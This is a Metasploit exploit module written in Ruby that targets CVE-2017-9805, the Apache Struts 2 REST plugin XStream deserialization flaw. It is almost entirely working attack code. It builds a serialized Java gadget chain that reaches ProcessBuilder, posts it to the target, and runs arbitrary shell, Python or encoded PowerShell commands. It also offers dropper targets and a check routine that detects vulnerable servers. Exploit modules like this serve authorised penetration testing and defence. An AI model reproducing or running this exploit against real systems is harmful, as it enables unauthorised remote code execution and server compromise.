modules/exploits/multi/http/struts2_rest_xstream.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
'Description' => %q{
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12,
using the REST plugin, are vulnerable to a Java deserialization attack
in the XStream library.
},
'Author' => [
'Man Yue Mo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2017-9805'],
['URL', 'https://struts.apache.org/docs/s2-052.html'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
['URL', 'https://github.com/mbechler/marshalsec']
],
'DisclosureDate' => '2017-09-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'python', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Windows (In-Memory)',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_memory
],
['Python (In-Memory)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :py_memory
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper
]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
])
end
def check
return CheckCode::Appears if execute_command(rand_str)
CheckCode::Safe
end
def exploit
case target['Type']
when /memory/
execute_command(payload.encoded)
when /dropper/
execute_cmdstager
end
end
def execute_command(cmd, opts = {})
cmd =
case target['Type']
when :unix_memory, :linux_dropper
%W{/bin/sh -c #{cmd}}
when :py_memory
%W{python -c #{cmd}}
when :psh_memory
if payload
cmd_psh_payload(
cmd,
payload.arch.first,
remove_comspec: true,
encode_final_payload: true
).split
else
%W{powershell.exe -c #{cmd}}
end
when :win_memory, :win_dropper
%W{cmd.exe /c #{cmd}}
end
# Encode each command argument with XML entities
cmd.map! { |arg| arg.encode(xml: :text) }
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)
return false unless check_response(res)
true
end
# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
def xstream_payload(cmd)
# XXX: <spillLength> and <read> need to be removed for Windows
<<EOF
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>#{cmd.join('</string><string>')}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>#{rand_str}</name>
</filter>
<next class="string">#{rand_str}</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
EOF
end
def check_response(res)
res && res.code == 500 && res.body.include?(error_string)
end
def error_string
'java.lang.String cannot be cast to java.security.Provider$Service'
end
def rand_str
Rex::Text.rand_text_alphanumeric(8..42)
end
end